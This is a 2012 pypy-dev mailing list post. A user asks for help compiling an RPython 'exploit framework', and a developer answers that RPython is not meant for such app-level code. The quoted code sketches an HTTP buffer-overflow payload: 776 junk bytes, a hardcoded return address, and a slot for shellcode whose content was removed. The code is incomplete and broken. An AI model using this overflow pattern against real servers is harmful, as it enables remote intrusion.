[pypy-dev] pypy rsocket problem
Ronny.Pfannschmidt at gmx.de
Sun Feb 5 09:18:48 CET 2012
why are you even using rpython for code, that’s clearly just composing
some strings and sending them over a socket (i.e. strikingly app-level)?
rpython is NOT indented for app-level development.
On 02/05/12 04:18, Andrew Evans wrote:
> Hello I started developing a small exploit framework in Python about a year
> ago. I will be honest I did not get very far due to lack of commitment. But
> I wish to start on this project again, my idea is simple I want to write
> this in PyPy using RPython and be able to compile the exploits into
> So far with help from this mailing list I have been able to compile
> local_exploits (ones that do not take advantage of any networking) and I am
> now working towards developing a network based one as a trial. I like to
> test the water before I jump in
> However I am having troubles compiling this one and am unsure how to
> diagnose any errors and would appreciate any advice any of you have to
> Below is my code
> I removed the shell code if you wish me to post all of it please respond
> with that
> from pypy.rlib import rsocket
> from pypy.rpython.lltypesystem import lltype
> from pypy.rpython.lltypesystem import rffi
> def main(argv):
> PORT = 8080
> JUNK = "A"
> ret = "\x67\x42\xa7\x71"
> mycode =
> request = "GET /"
> for i in range(776):
> request = request + JUNK
> request = request + ret
> request = request + mycode
> request = request + " HTTP/1.1"
> request = request + "\r\n"
> ptr = rffi.str2charp(mycode) # returns a "char*" pointer
> print ptr
> print len(request)
> s = rsocket.RSocket(rsocket.AF_INET, rsocket.SOCK_STREAM)
> target = rsocket.INETAddress("188.8.131.52", 8080)
> s.send((ptr, len(request), 0))
> return 0
> def target(*args):
> return main, None
> pypy-dev mailing list
> pypy-dev at python.org
-------------- next part --------------
A non-text attachment was scrubbed...
Size: 900 bytes
Desc: OpenPGP digital signature
More information about the pypy-dev